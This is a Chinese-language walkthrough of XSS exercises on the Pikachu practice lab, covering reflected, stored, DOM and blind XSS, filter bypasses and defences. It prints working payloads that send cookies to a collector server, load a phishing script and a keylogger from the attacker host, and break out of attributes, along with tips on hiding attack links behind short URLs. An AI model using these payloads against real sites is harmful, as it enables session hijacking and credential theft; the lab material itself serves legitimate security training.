XSS


原理:

程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

分类 :

危害:存储型 > 反射型 > DOM型

  • 反射型XSS:<非持久化>

    交互的数据一般不会被存在数据库里面,一次性 ,所见即所得,一般出现在查询页面等

  • 存储型XSS:<持久化>

    交互的数据会被存在数据库里面,永久性存储 ,一般出现在留言板,注册等页面

  • DOM型XSS:<基于文档对象模型DOM的漏洞>

    不与后台服务器产生数据交互,是一种通过DOM操作前端代码 输出的时候产生的问题,一次性 ,也属于反射型

常见用途:

  • Cookie劫持

  • 构造GET与POST请求

  • XSS钓鱼

  • 获取用户的真实IP地址

测试流程:

  • 在目标上找输入点,比如查询接口、留言板

  • 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

  • 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

  • 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

一、反射型XSS(get)


当输入内容时, 发现内容被执行写入当网页

<>6666

直接进行注入

<script>alert(document.cookie)</script>
<script>alert("222")</script>

发现,对输入的字符串的有长度限制

方法一

修改前端代码

修改为100后, 可以输入完整的长度,成功弹窗

方法二

抓包修改

二、反射性XSS(post)


利用xss盗取用户的cookie,模拟了一个用户登录的过程

登录成功后, 就和Get型一样的界面了

但是和xss(get)不同,在xss(get)可以直接在url上构造payload

http://192.168.132.132/pikachu/vul/xss/xss_reflected_get.php?message=<script>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>&submit=submit

来诱使用户点击, 盗取用户的cookie

url中cookie为被攻击者的cookie

通过使用短链接进行伪装,使被攻击者不会意识到这是攻击url

因为在POST方式中,  就算将构造好(含攻击代码)的URL给用户点击了,  也不会直接触发拿到cookie,  反而会直接弹出用户登录提示。

这时候我们就得用一个服务器(攻击者的),  伪造POST请求去登录, 并且盗取用户登录成功后的cookie

xss后台搭建

pkxss目录下inc/config.inc.php文件需要进行配置,配置完成后,初始化数据库

存在cookie搜集、钓鱼结果、键盘结果3个模块

cookie搜集模块中,存放被攻击者cookie的数据

先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址,使被攻击者不知道自己被攻击了

该后台为本地搭建,所以地址为本地

模拟用户点击该网址

<script>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>

192.168.132.132是攻击者也是被攻击者,收集被攻击者cookie的服务器地址(也是本地), (需要进行URL编码才能访问)

访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了

查看cookie收集模块,存放被攻击者的cookie

三、存储型XSS


如果论坛留言板模块,存在存储型XSS漏洞,会将payload存储到网站数据库,每一个用户浏览留言板的时候都会被攻击,这种攻击时持久化攻击

输入payload,进行尝试测试

漏洞利用

  • 注入跳转网页
<script>document.location='https://www.cnblogs.com/confidant'</script>

    注:每次进入留言版,都会跳转,需要进入数据库中,删除该条数据

  • 网站钓鱼

    pikachu靶场中存在一个pkxss目录下/xfish目录,其中存放关于钓鱼脚本

    钓鱼脚本使用的是 Basic认证 ** ,**

    我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)

    配置脚本pkxss/xfish/fish.php,将往重定向网址修改管理后台

    然后将攻击恶意代码嵌入留言板中: (弄一个弹窗来判断是否成功注入, 现实中弹窗就太嚣张了...)

    

<script src="http://192.168.132.132/pikachu/pkxss/xfish/fish.php"></script>

    当被攻击者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上,地址为

http://192.168.132.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php

    可以看到刚刚被钓鱼的用户信息, (并且信息存储在数据库中)

  • 获取键盘记录

    攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js

    同样需要将网址修改为攻击者的地址(也就是本机地址)

    上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php

    AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的

    去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php删除注释

    攻击者往留言板注入恶意代码

<script src='http://192.168.132.132/pikachu/pkxss/rkeypress/rk.js'></script>

    然后在页面上随意输入键盘, 会调用rkserver.php记录键盘活

     访问xss键盘记录后台

http://192.168.10.100/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

四、DOM型XSS


DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树

测试'"<>?&6666

输入图中的内容,观察到如下输出,发现和输入的内容有区别

观察页面源码

这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

漏洞利用

方法一

利用JavaScript协议

javascript:alert("You are attacked !!")

方法二

绕过闭合

我们通过闭合的方式构造Payload

' onclick="alert('xss')">

造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的

五、DOM型XSS


进行测试

'2"$&#<>/\

查看源代码,将/+/g

这里也有个JS代码,它定义了一个domxss函数它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str然后经过URL解码和字符串分隔,取出URL中的参数内容再把 “+” 替换为 “ ”(空格),赋值给 xss

最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中

' onclick="alert('xss')">

六、XSS盲打


XSS盲打不是攻击类型,而是一个攻击场景

当我们输入内容并提交的时候,

我们输入数据,提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看,如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出,那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容

发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台

倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击

并登录后台管理界面(账号密码为admin,123456)

http://192.168.132.132/pikachu/vul/xss/xssblind/admin_login.php

一登录进来就遭受了XSS攻击

七、XSS之过滤


在实际的网站中,或多或少都会做一些安全措施,但是这些安全措施也存在方法、逻辑不严谨,可以被绕过

转换的思路

  • 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。

  • 大小写,比如。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。

  • 双写(拼凑),<script>。后台可能把 // 大小写混合绕过

    // img标签

    
    
    ![](https://img2020.cnblogs.com/blog/2348478/202109/2348478-20210919175308999-625397856.png)
    
    ## 八、XSS之htmlspecialchars
    
    ---
    
    htmlspecialchars() 函数
    
    PHP里面把预定义的字符转换为HTML实体的函数
    
    预定义的字符是
    
    - & 成为 &amp
    
    - " 成为 &quot
    
    - ' 成为 &#039
    
    - < 成为 &lt
    
    - 成为 &gt
    
    可用引号类型
    
    - ENT_COMPAT:默认,仅编码双引号
    
    - ENT_QUOTES:编码双引号和单引号
    
    - ENT_NOQUOTES:不编码任何引号
    
    输入"<>?#'&6666,进行测试
    
    ![](https://img2020.cnblogs.com/blog/2348478/202109/2348478-20210919175308803-1966818039.png)
    
    可以看到 ",>和<都经过了编码,剩下的字符没有,单引号依然可以使用
    
    我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号
    
    ```Bash
    ' onclick=alert(1111) '

    九、XSS之href输出


    查看源代码

    这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理

    这个函数转义单引号、双引号和左右尖括号

    然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS

    构造Payload如下,没有上面被转义的字符

    javascript:alert(111)

    十、XSS之js输出


    输入数据,查看源代码

    它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出

    我们可以构造一个闭合,先闭合script标签,然后再插入自己的JS代码

    '</script><script>alert('xss')</script>

    这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码

    JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话

    在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS

    所以在JS的输出点应该对应该使用 \对特殊字符进行转义

    防御措施


    • 对输入(和URL参数)进行过滤,对输出进行编码

    • 输入的时候只允许 http 或 https 开头的协议,才允许输出,其次再进行htmlspecialchars(html编码)处理

    • 过滤或移除js 事件的标签和特殊的 html 标签

    • 设setcookie=true,使cookie不能被js获取

    参考文章

    https://blog.csdn.net/angry_program/article/details/104373952

    https://www.cnblogs.com/dogecheng/p/11556221.html

XSS注入的更多相关文章

  1. 富文本编辑器防止xss注入javascript版

    富文本编辑器:ueditor 其实富文本编辑器已经有防止xss注入功能,但是你服务端程序在接收的时候在做一次转义,否则有可能然后前端验证直接提交数据导致被xss攻击. 为了节省后端程序开销则在前端 显 ...

  2. 基于DOM的XSS注入漏洞简单解析

    基于DOM的XSS注入漏洞简单解析http://automationqa.com/forum.php?mod=viewthread&tid=2956&fromuid=21

  3. 【web安全】第一弹:利用xss注入获取cookie

    首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae ...

  4. 中间人攻击工具mitmf(另类的XSS注入攻击)

    中间人攻击工具mitmf(另类的XSS注入攻击) (一)简介 (二)安装 (三)结合beef使用 (一)简介 Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 be ...

  5. 初级安全入门——XSS注入的原理与利用

    XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...

  6. web安全之XSS注入

    之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...

  7. StringEscapeUtils的常用使用,防止SQL注入及XSS注入

    StringEscapeUtils的常用使用,防止SQL注入及XSS注入 2017年10月20日 11:29:44 小狮王 阅读数:8974   版权声明:本文为博主原创文章,转载请注明出处. htt ...

  8. XSS 注入检查点

    如果你有个论坛,一般你会很注意用户发帖的注入问题,往往这个地方不会被注入,因为开发特别照顾.原则上XSS都是用户输入的,但是许多边角还是容易忽略.枚举一些检查点. 分页 分页通用组件获取url,修改p ...

  9. Java Filter过滤xss注入非法参数的方法

    http://blog.csdn.NET/feng_an_qi/article/details/45666813 Java Filter过滤xss注入非法参数的方法 web.xml: <filt ...

  10. XSS注入方式和逃避XSS过滤的常用方法(整理)

    (转自黑吧安全网http://www.myhack58.com/) web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式: 一.html标签注入 这是最常见的一种,主要入 ...

随机推荐

  1. CentOS文件目录类语法

    目录 一.目录查看切换类 1. pwd 显示当前工作目录的绝对路径 2. ls 列出目录的内容 二.文件与目录创建删除类 1. mkdir 创建一个新目录 2. touch 创建空文件 3. rmdi ...

  2. 启动或重启Oracle数据以及监听

    (以下均为命令行形式) 1.切换到oracle数据库用户: su - oracle 2.查看数据库的监听状态: lsnrctl status 3.停止监听: lsnrctl stop 4.登陆到ora ...

  3. MongoDB实例重启失败探究(大事务Redo导致)

    1.实例重启背景 收到监控组同学反馈,连接某一个MongoDB实例的应用耗时异常,并且出现了超时.查看数据库监控平台,发现此实例服务器的IO异常飙升,而查看副本集状态(rs.status()),主从是 ...

  4. pikachu PHP反序列化 XXE SSRF

    PHP反序列化在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 另外这个漏洞一般是在代码审计的时候发现的,在扫描或者黑盒测试的时候很难发现.1.序 ...

  5. Fiddler抓包实用非常详细,学会不要去做坏事~

    为什么要先学fiddler?学习接口测试必学http协议,如果直接先讲协议,我估计小伙伴们更懵,为了更好的理解协议,先从抓包开始.结合抓包工具讲http协议更容易学一些. 抓firefox上https ...

  6. NOIP 模拟 9 考试总结

    T1 一道推规律的题,没想出来,暴力打得常数还太大了,挂了不少 题解 T2 这是一道二分题,很巧妙,但是对于想我一样懒得人,那个数据结构就水过去了 (裸的分块加强大的卡长和合适的块的大小可以卡过去) ...

  7. 从零开始实现简单 RPC 框架 5:网络通信之序列化

    我们在接下来会开始讲网络通信相关的内容了.既然是网络通信,那必然会涉及到序列化的相关技术. 下面是 ccx-rpc 序列化器的接口定义. /** * 序列化器 */ public interface ...

  8. SpringCloud之Config

    1.背景 在前的学习中,我们几乎解决了springCloud的所有常规应用,但是大家有没有想过这样一个问题: 是使用微服务后,有非常多的application.yml文件,每个模块都有一个,实际开发中 ...

  9. WPF Grid新增框选功能

    有时候会有框选的需求,类似EXCEL一样,画一个框选择里面的子控件. 选择后比如可以将子控件的Border设置为红色边框 说下这个功能的大致原理.背景是一个Grid,比如里面放了很多的Button.  ...

  10. 二 MongoDB数据类型和$type操作符

    一.MongoDB中可以使用的类型如下表所示 二.$type操作符 举个例子:想获取指定集合中title为String类型的所有文档